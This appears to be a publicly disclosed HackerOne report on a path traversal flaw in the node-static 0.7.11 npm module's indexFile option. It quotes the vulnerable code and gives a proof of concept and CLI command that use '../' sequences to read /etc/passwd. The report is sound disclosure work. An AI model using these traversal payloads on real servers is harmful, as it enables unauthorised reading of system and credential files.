HexBrain

Node.js third-party modules · Report #677955

`indexFile` option passed as an argument to node-server can lead to arbitrary file read

Informativestatus
lowseverity
3upvotes
4 Dec 2019disclosed

How it was found

Hi Guys,

I would like to report Path Traversal vulnerability in indexFile parameter passed as an option tonode-server. This vulnerability affects both CLI --indexFile and options.indexFile passed as an argument to Server.prototype.serveDir function in node-static.js

Module

module name: node-static version: 0.7.11 npm page: https://www.npmjs.com/package/node-static

Module Description

a simple, rfc 2616 compliant file streaming module for node

node-static understands and supports conditional GET and HEAD requests. node-static was inspired by some of the other static-file serving modules out there, such as node-paperboy and antinode.

Module Stats

~38.000 downloads/week >150.000 downloads/month

Vulnerability

node-static allows to run static HTTP server with several options available. One of those options is indexFile, which allows to point to a specific file served as direcory index when user opens default url where server runs.

Because node-static does not restrict what file and from which location can be used as directory index, any of the files available on the machine where node-static is running can be used.

If indexFile option can be somehow controlled by malicious user, this can lead to arbitrary file read.

Vulnerability Description

Vulnerability exists, because indexFile argument passed as one of the options to Server.prototype.serveDir function is not checked against Path Traversal patterns and allows to inject any path. When server is running, HTTP request to server root causes content of the file passed in indexFile is returned.

This works both for server run as standalone Node.js application and when server is run from CLI.

Here's vulnerable fragment of the code:

// node-static/lib/node-static.js; lines from 52:

Server.prototype.serveDir = function (pathname, req, res, finish) {
    var htmlIndex = path.join(pathname, this.options.indexFile),   //// <-- this.options.indexFile passed "as is"
        that = this;

    fs.stat(htmlIndex, function (e, stat) {
        if (!e) {
            var status = 200;
            var headers = {};
            var originalPathname = decodeURI(url.parse(req.url).pathname);
            if (originalPathname.length && originalPathname.charAt(originalPathname.length - 1) !== '/') {
                return finish(301, { 'Location': originalPathname + '/' });
            } else {
                that.respond(null, status, headers, [htmlIndex], stat, req, res, finish);
            }
        } else {
            // Stream a directory of files as a single file.
            fs.readFile(path.join(pathname, 'index.json'), function (e, contents) {
                if (e) { return finish(404, {}) }
                var index = JSON.parse(contents);
                streamFiles(index.files);
            });
        }
    });
    function streamFiles(files) {
        util.mstat(pathname, files, function (e, stat) {
            if (e) { return finish(404, {}) }
            that.respond(pathname, 200, {}, files, stat, req, res, finish);
        });
    }
};

Here's sample Node.js application using node-static as HTTP server, with indexFile option set to arbitrary file:

'use strict'

const s = require('node-static');

const options = {
    indexFile: '../../../../../../../etc/passwd'
};

const file = new s.Server('./', options);

require('http').createServer(function (request, response) {
    request.addListener('end', function () {
        //
        // Serve files!
        //
        file.serve(request, response);
    }).resume();
}).listen(8080);

When it's run and http://127.0.0.1:8080 ur is accessed in the browser, file is being downloaded:

{F560591}

The content of the downloaded file:

{F560592}

We can get the same result when node-static server is run from CLI:

{F560593}

This time, server was created with following command:

$ ./node_modules/node-static/bin/cli.js --indexFile ../../../../../../etc/passwd

Steps To Reproduce:

  • install node-static with npm i node-static command
  • in the folder with ./node_modules, run following command (on Linux or macOS):
$ ./node_modules/node-static/bin/cli.js --indexFile ../../../../../../etc/passwd
  • ensure you put enough ../ sequences to reach root folder (/) on your machine, depending on how deep your node_modules folder is located
  • with browser of your choice, navigate to http://127.0.0.1:8080. Browser should start downloading /etc/passwd file.

Supporting Material/References:

This vulnerability was found and verified with following configuration:

  • macOS 10.14.6
  • Node 10.16.0
  • npm 6.9.0

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Stay Safe,

bl4de

Impact

Arbitrary File Read

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original